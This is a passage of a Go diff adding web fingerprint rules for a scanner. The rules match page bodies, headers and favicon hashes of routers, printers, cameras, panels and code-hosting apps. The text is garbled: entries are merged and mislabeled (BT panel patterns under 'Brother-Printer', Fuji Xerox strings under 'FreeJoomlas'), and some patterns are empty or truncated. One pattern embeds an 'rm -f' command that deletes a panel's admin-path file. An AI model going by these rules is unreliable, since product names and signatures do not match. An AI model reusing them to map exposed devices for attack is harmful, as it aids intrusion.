""}}, + {1, "Brocade-Network-Advisor", "body", "", InStr{"(about network advisor)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brocade-Switch", "body", "", InStr{"(originalurl=\"/switchexplorer.html\"|com.brocade.web.secsan.loginapplet)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "brother-8510DN", "body", "", InStr{"(id=\"modelname\">

    mfc-8510dn)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brother-Printer", "body", "", InStr{"(|href=\"http://www.bt.cn/bbs/thread-1172-1-1.html|宝塔linux面板|src=\"/static/js/validform_v5.3.2_min.js|请使用正确的入口登录面板|rm -f /www/server/panel/data/admin_path.pl|宝塔(.*)面板)", "(set-cookie: bt_panel=|Set-Cookie: BT_COLL=)", "(9637ebd168435de51fea8193d2d89e39)"}, ReqHttp{"", "", nil, ""}}, + {1, "Buffalo-TeraStation", "body", "", InStr{"(value=\"view terastation manual|value=\"terastation handbuch lesen)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugFree", "body", "", InStr{"(id=\"logo\" alt=bugfree|class=\"loginbgimage\" alt=\"bugfree|name=\"buguserpwd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugScan", "body", "", InStr{"(bugscan memos|powered by bugscan)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BugTracker.NET", "body", "", InStr{"(href=\"btnet.css|valign=middle>|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Byzoro-Security-gateway", "body", "", InStr{"( patrolflow 多业务安全网关)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Byzoro-Smart", "body", "", InStr{"(smart s150 系统登录)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cable/DSL-Router", "header", "", InStr{"", "(realm=\"cable/dsl router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cachecloud", "body", "", InStr{"(alert(\"系统不存在该用户名,请确认该用户申请了cachecloud权限!\");)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cacti", "body", "", InStr{"(/plugins/jqueryskin/include/login.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Cacti", "header", "", InStr{"", "(set-cookie: cacti=|cacti access)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cacti", "ico", "", InStr{"", "", "(4f12cccd3c42a4a478f067337fe92794)"}, ReqHttp{"", "", nil, ""}}, + {1, "CaiMore-Gateway", "header", "", InStr{"", "(realm=\"caimore gateway|realm=\"caimore)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "CakePHP", "header", "", InStr{"", "(cakephp=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cakephp", "ico", "", InStr{"", "", "(66b3119d379aee26ba668fef49188dd3)"}, ReqHttp{"", "", nil, ""}}, + {1, "CakePHP", "ico", "", InStr{"", "", "(c0533ae5d0ed638ba3fb3485d8250a28)"}, ReqHttp{"", "", nil, ""}}, + {1, "CalendarScript", "body", "", InStr{"(powered by canon ip5200r)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iP7200-series", "body", "", InStr{"(nowrap>canon ip7200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iX6800-series", "body", "", InStr{"(nowrap>canon ix6800 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-iX7000-series", "body", "", InStr{"(nowrap>canon ix7000 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MF4500-Series", "body", "", InStr{"(mf4500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MF4500w-Series", "body", "", InStr{"(mf4500w series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3100-series", "body", "", InStr{"(nowrap>canon mg3100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3200-series", "body", "", InStr{"(nowrap>canon mg3200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG3500-series", "body", "", InStr{"(nowrap>canon mg3500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG4100-series", "body", "", InStr{"(nowrap>canon mg4100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG4200-series", "body", "", InStr{"(nowrap>canon mg4200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5200-series", "body", "", InStr{"(nowrap>canon mg5200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5300-series", "body", "", InStr{"(nowrap>canon mg5300 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5400-series", "body", "", InStr{"(nowrap>canon mg5400 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5500-series", "body", "", InStr{"(nowrap>canon mg5500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6100-series", "body", "", InStr{"(nowrap>canon mg6100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6200-series", "body", "", InStr{"(nowrap>canon mg6200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6300-series", "body", "", InStr{"(nowrap>canon mg6300 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6400-series", "body", "", InStr{"(nowrap>canon mg6400 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG8100-series", "body", "", InStr{"(nowrap>canon mg8100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG8200-series", "body", "", InStr{"(nowrap>canon mg8200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP495-series", "body", "", InStr{"(nowrap>canon mp495 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP560-series", "body", "", InStr{"(nowrap>canon mp560 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP620-series", "body", "", InStr{"(nowrap>canon mp620 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP640-series", "body", "", InStr{"(nowrap>canon mp640 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP970-series", "body", "", InStr{"(nowrap>canon mp970 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP980-series", "body", "", InStr{"(nowrap>canon mp980 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP990-series", "body", "", InStr{"(nowrap>canon mp990 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX340-series", "body", "", InStr{"(nowrap>canon mx340 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX350-series", "body", "", InStr{"(nowrap>canon mx350 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX410-series", "body", "", InStr{"(nowrap>canon mx410 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX420-series", "body", "", InStr{"(nowrap>canon mx420 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX430-series", "body", "", InStr{"(nowrap>canon mx430 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX450-series", "body", "", InStr{"(nowrap>canon mx450 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX470-series", "body", "", InStr{"(nowrap>canon mx470 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX510-series", "body", "", InStr{"(nowrap>canon mx510 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX520-series", "body", "", InStr{"(nowrap>canon mx520 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX700-series", "body", "", InStr{"(nowrap width=\"#\"> canon mx700 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX710-series", "body", "", InStr{"(nowrap>canon mx710 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX720-series", "body", "", InStr{"(nowrap>canon mx720 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX850-series", "body", "", InStr{"(nowrap width=\"#\"> canon mx850 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX860-series", "body", "", InStr{"(nowrap>canon mx860 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX870-series", "body", "", InStr{"(nowrap>canon mx870 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX880-series", "body", "", InStr{"(nowrap>canon mx880 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX890-series", "body", "", InStr{"(nowrap>canon mx890 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX920-series", "body", "", InStr{"(nowrap>canon mx920 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Print-or-Copier", "body", "", InStr{"(ir-adv)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Print-or-Copier", "header", "", InStr{"", "(canon http server|server: catwalk)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-100-series", "body", "", InStr{"(nowrap>canon pro-100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-10-series", "body", "", InStr{"(nowrap>canon pro-10 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-1-v1-1-series", "body", "", InStr{"(nowrap>canon pro-1 v1-1 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Web-Camera", "body", "", InStr{"(/viewer/live/en/live.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carel-Data-Server", "body", "", InStr{"(src=\"/mpwebcorefn.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carel-Data-Server", "header", "", InStr{"", "(server: careldataserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cari-System", "body", "", InStr{"(src=\"/cariweb/images/images-new)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carrier-CCNWeb", "body", "", InStr{"(/images/ccnweb.gif|copyright© cbss 项目组 自动化测试小组

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cBSS System", "body|header", "or", InStr{"(登录cbss系统

    |
  • com.cbss.xss.filter.xssfilter.dofilter)", "(cookie_cbss|bss_acctmanm_jsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "CC-Customer-Service", "body", "", InStr{"( : dir-842|

    dir-842 login

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DIR-855L", "body", "", InStr{"(dir-855l|dir-855l)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-DNS-ShareCenter", "body", "", InStr{"(/cgi-bin/login_mgr.cgi|sharecenter)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-link-DSL-2640B", "body", "", InStr{"(product : dsl-2640b)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSL-2640T", "header", "", InStr{"", "(realm=\"dsl-2640t)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-2730E", "body", "", InStr{"(product page: dsl-2730e)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-2890AL", "body", "", InStr{"(product page : dsl-2890al|dsl-2890al)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-6850U", "header", "", InStr{"", "(realm=\"dsl-6850u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-DSL-Gateway", "header", "", InStr{"", "(realm=\"dsl gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-Router", "header", "", InStr{"", "(realm=\"dsl router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000AC", "body", "", InStr{"(unified services router - dsr-1000ac )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000", "body", "", InStr{"(
    product page: dsr-1000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000N", "body", "", InStr{"(
    product page: dsr-1000n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-150", "body", "", InStr{"(
    product page: dsr-150|unified services router - dsr-150
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-150N", "body", "", InStr{"(
    product page: dsr-150n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-250", "body", "", InStr{"(
    product page: dsr-250|unified services router - dsr-250
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-250N", "body", "", InStr{"(
    product page: dsr-250n|unified services router - dsr-250n
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500AC", "body", "", InStr{"(unified services router - dsr-500ac
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500", "body", "", InStr{"(
    product page: dsr-500|unified services router - dsr-500
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500N", "body", "", InStr{"(
    product page: dsr-500n|unified services router - dsr-500n
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DVG-N5402SP", "body", "", InStr{"(welcome to dvg-n5402sp-r|welcome to dvg-n5402sp|lang_firmwarelogin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link", "ico", "", InStr{"", "", "(107579220745d3b21461c23024d6c4a3)"}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Internet-behavior-Router", "body", "", InStr{"(|top.window.open(\"login.html\",\"_self\");)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Internet-Camera", "header", "", InStr{"", "(d-link internet camera)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Network-Camera", "header", "", InStr{"", "(realm=\"dcs-|d-link internet camera)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-NVR", "header", "", InStr{"", "(realm=\"dnr-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Print-Server", "header", "", InStr{"", "(realm=\"dp-302)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Router", "body", "", InStr{"(d-link systems|/image/mobile_dlinklogo_login.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Router", "header", "", InStr{"", "(dlinkrouter|dlink router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Storage-", "body", "", InStr{"(document.cookie = \"m_language=\"+v+\"; path=/\";|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Wireless-Router", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Document-Security-Management-System", "body", "", InStr{"(href=\"/drm/template/css/login.css\"|action=\"/drm/login.do\"|src=\"/drm/encjs/barrett.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "doitVR-Product", "body", "", InStr{"(src=\"/svnmedia/images/logo.svg\" alt=\"doit vr®\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DokuWiki", "body", "", InStr{"(powered by dokuwiki|content=\"dokuwiki|
    dolphinscheduler)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DomainSponsor domain parking", "ico", "", InStr{"", "", "(1CDECC190B122A232E64945332DE0546)"}, ReqHttp{"", "", nil, ""}}, + {1, "Domain Technology Control", "ico", "", InStr{"", "", "(c86974467c2ac7b6902189944f812b9a)"}, ReqHttp{"", "", nil, ""}}, + {1, "Dongyoung-Cameras-and-Surveillance", "body", "", InStr{"(|pluginspage=\"ipcwebcomponents.exe\" type=\"application/ipcam-regplugin\"|id=\"maskheaderdiv\"|ptzguard\"|style=\"background:url(images/con-logo-bg.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FOSCAM-NVR", "body", "", InStr{"(style=\"background:url(images/con-logo-bg.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Founder-All-media-editing-system", "body", "", InStr{"(/newsedit/newsedit/css/login_1.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Founder-Operation-management-and-decision-support-system", "body", "", InStr{"(src=\"/portal/img/logo.png\"|src=\"/desktop/ui/custom/getimage?img=iphoneview.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FourSeasonsVPN", "body", "", InStr{"(imgs/fs-black-box.jpg)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Fpoll", "body", "", InStr{"(admincp/css.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreakAuth", "header", "", InStr{"", "(set-cookie: freakauth)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreeBSD", "header", "", InStr{"", "(freebsd)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreeJoomlas", "body", "", InStr{"(|var jtpath = '/jt/cgi-bin/';|fuji xerox|frames[2].window.location.href=jtpath + loc;|properties/aboutprinter.html|phaser 6250dp|phaser 6250n|phaser 4500dt)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Funkwerk-Gateway", "header", "", InStr{"", "(funkwerk boss)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FutureSystems-WeGuardia-SSLplus", "body", "", InStr{"(id=\"tsgssl\"|sslplus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "G01", "body|header", "and", InStr{"(href=\"http://bbs.yunsuo.com.cn|video server)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gallery", "ico", "", InStr{"", "", "(56753c5386a70edba6190d49252f00bb)"}, ReqHttp{"", "", nil, ""}}, + {1, "Ganglia", "body|header", "or", InStr{"(onchange=\"ganglia_form.submit();|name=\"ganglia_form)", "(gs=unspecified)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gargoyle-Router", "body", "", InStr{"(src=\"/themes/gargoyle/images/wait_icon.gif\"|href=\"/themes/gargoyle/images/favicon.png\"|gargoyle router management utility|gargoyle firmware webgui for router management)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "garlic-doc", "ico", "", InStr{"", "", "(54b299f2f1c8b56c8c495f2ded6e3e0b)"}, ReqHttp{"", "", nil, ""}}, + {1, "gbcom-Product", "body", "", InStr{"(src=\"/cgi-bin/snmpmanager.cgi?cgimodule=login\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GC-ReimbursementSystem", "body", "", InStr{"(src=\"randomimage.aspx\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GC-System", "body", "", InStr{"( href='统一支付平台学生使用说明.doc')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gdada-ADAAccess", "body", "", InStr{"( welcome to ada access control system )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GearHost", "header", "", InStr{"", "(hosted-with: gearhost|hosted-by: gearhost)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gee-HiWiFi", "body", "", InStr{"(此方法与hiwifi中的方法保持一致)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gemtek-Router", "body", "", InStr{"(alt=\"歡迎使用中保無限路由器\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Generic-VoIP-Gateway", "header", "", InStr{"", "(voip gateway configuration web server|digest realm=\" voip gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GenieATM", "body", "", InStr{"(copyright© genie networks ltd.|defect 3531)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GenOHM-SCADA", "body", "", InStr{"(/cgi-bin/scada-vis/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Geobytes-GeoSelect", "header", "", InStr{"", "(geobytes-geoselect)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GeoHttpServer", "header", "", InStr{"", "(server: geohttpserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GeoNode", "body", "", InStr{"(powered by geowebcache)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GE-Security", "body", "", InStr{"(gede-snmp-ups-interface)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Geutebruck", "body", "", InStr{"(geutebruck g-web|content=\"geutebrück g-web\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gforge", "ico", "", InStr{"", "", "(27a097ec0dbffb7db436384635d50415|857281e82ea34abbb79b9b9c752e33d2|0e14c2f52b93613b5d1527802523b23f)"}, ReqHttp{"", "", nil, ""}}, + {1, "GFSOFT-Akuntansi-2008", "body", "", InStr{"(src=\"images/box%20akuntansi%202008.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gigabit-Color-IP-Phone", "header", "", InStr{"", "(realm=\"gigabit color ip phone)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gigaset-VOIP", "body", "", InStr{"(onclick=\"javascript:open_gigaset_help_window|gigaset communications)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitblit", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitBucket", "body", "", InStr{"(/assets/common/images/gitbucket.png)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitBucket", "header", "", InStr{"", "(gitbucket)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitea", "body|header", "or", InStr{"(href=\"https://docs.gitea.io\">Help)", "(Set-Cookie: i_like_gitea=(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Github-Enterprise", "header", "", InStr{"", "(_gh_manage)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitlab", "body|header", "or", InStr{"(gon.default_issues_tracker|content=\"gitlab community edition\"|content=\"gitlab |about gitlab|class=\"col-sm-7 brand-holder pull-left\"|About GitLab)", "(Set-Cookie: _gitlab_session=(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitorious", "body", "", InStr{"(powered by gitorious)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitorious", "header", "", InStr{"", "(_gitorious_sess)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitStack-Code", "body", "", InStr{"(gitstack/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitweb", "body", "", InStr{"(content=\"gitweb|/gitweb.css|/gitweb.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitweb", "ico", "", InStr{"", "", "(85138f44d577b03dfc738d3f27e04992)"}, ReqHttp{"", "", nil, ""}}, + {1, "GL_iNet-Router", "body", "", InStr{"(/cgi-bin/login_cgi?action=checklogin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Global-Internet-product", "body", "", InStr{"(/cgibin?pageid=92)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GlobalSign-Cert", "body", "", InStr{"(//seal.globalsign.com/siteseal)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Glodon-Console", "body", "", InStr{"(src=\"/scripts/dd_belatedpng.js|url: \"/console/account/logon\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Glossword", "body", "", InStr{"(content=\"glossword)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "glpi ", "ico", "", InStr{"", "", "(c9339a2ecde0980f40ba22c2d237b94b)"}, ReqHttp{"", "", nil, ""}}, + {1, "GM-Electronic-security-document-management-system", "body", "", InStr{"(国迈安全私有云部. all rights reserved|国迈安全私有云部 all rights reserved)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAccess-Log", "body", "", InStr{"(by goaccess)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAhead", "header", "", InStr{"", "(goahead|goahead-webs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAhead-Webs", "header", "", InStr{"", "(goahead-webs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoCDN", "header", "", InStr{"", "(gocdn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gogs", "body", "", InStr{"(帮助)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Go-Json-Rest", "header", "", InStr{"", "(go-json-rest)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Goldencis-NACP", "body", "", InStr{"(
    通过管理员分配的密码使用紧急入口。
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Golden-dragon-card-Ecard-website-query-subsystem", "body", "", InStr{"(location.href=\"homelogin.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "goldlibCMS", "body", "", InStr{"(speakintertscarch.aspx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gollem", "ico", "", InStr{"", "", "(db1e3fe4a9ba1be201e913f9a401d794)"}, ReqHttp{"", "", nil, ""}}, + {1, "gonzui", "ico", "", InStr{"", "", "(921042508f011ae477d5d91b2a90d03f)"}, ReqHttp{"", "", nil, ""}}, + {3, "Goblin", "header", "", InStr{"", "(Goblinserver:)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Good10000-Tios", "body", "", InStr{"(value=\"https://mail.sinopec.com/owa/\"|北京万佳信科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Goodway-Integrated-Management-Information-System", "body", "", InStr{"(option value=\"enterprise\"|是否域账户登录)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Hosted-Libraries", "header", "", InStr{"", "(ajax.googleapis.com/ajax/libs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google Page Creator", "ico", "", InStr{"", "", "(A31552D4FCC0EA68D69153E458FE6AB2)"}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Search-Appliance", "header", "", InStr{"", "(server: google search appliance)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google Sites web hosting", "ico", "", InStr{"", "", "(D6C8358104C64B2A3415F2F779C01EF2)"}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Talk-Chatback", "body", "", InStr{"(www.google.com/talk/service/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google web server", "ico", "", InStr{"", "", "(09b565a51e14b721a323f0ba44b2982a)"}, ReqHttp{"", "", nil, ""}}, + {1, "Goonie-Internet-Public-Ppinion-Monitoring-System", "body", "", InStr{"(alert(\"菜单层数量和内容层数量不一样!\")|网络舆情监控系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gordano-Messaging-Suite", "header", "", InStr{"", "(server: gordano)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gosa", "ico", "", InStr{"", "", "(ecab73f909ddd28e482ababe810447c8)"}, ReqHttp{"", "", nil, ""}}, + {1, "Gossamer-Forum", "body", "", InStr{"(href=\"gforum.cgi?username=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Government and Enterprise Order Center", "body", "", InStr{"(content=\"政企订单中心)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GPON-Home-Gateway", "body", "", InStr{"(/gponform/loginform|xwebpagename)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GPSweb", "body", "", InStr{"(src=\"/gpsweb/js/add_string_prototype.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grafana", "body", "", InStr{"(background-image: url(\"public/img/grafana_icon.svg\")|Sometimes restarting grafana-server can help)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grafana", "body", "", InStr{"(window.grafanabootdata = )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gramps", "ico", "", InStr{"", "", "(c16b0a5c9eb3bfd831349739d89704ec)"}, ReqHttp{"", "", nil, ""}}, + {1, "Grandnode", "body", "", InStr{"(name=\"generator\" content=\"grandnode)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandnode", "header", "", InStr{"", "(x-powered-by: grandnode| .grand.antiforgery)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-company's-product", "header", "", InStr{"", "(grandstream)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-GXV3140", "body", "", InStr{"(document.title = \"gxv3140\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-IP-Phone", "body", "", InStr{"(__gwt_historyframe|webapp/webapp.nocache.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "grandtec-wifi-webcam", "header", "", InStr{"", "(basic realm=\"welcome to ipcam !\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GrandTec-X-Guard", "header", "", InStr{"", "(realm=\"walkguard)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "grasp-ERP", "body", "", InStr{"( alert(\"欢迎使用 【管家婆分销erp))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "graylog", "body", "", InStr{"(org.graylog.plugins.pipelineprocessor.processorplugin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "graylog", "header", "", InStr{"", "(x-graylog-node-id|basic realm=\"graylog \")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gree-Logistics", "body", "", InStr{"(/images/gree/gree.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "greencms", "header", "", InStr{"", "(x-powered-by: greencms)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GridSite", "body", "", InStr{"(gridsite|gridsite-admin.cgi?cmd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grizzly NIO", "body", "", InStr{"(
    Grizzly(.*)
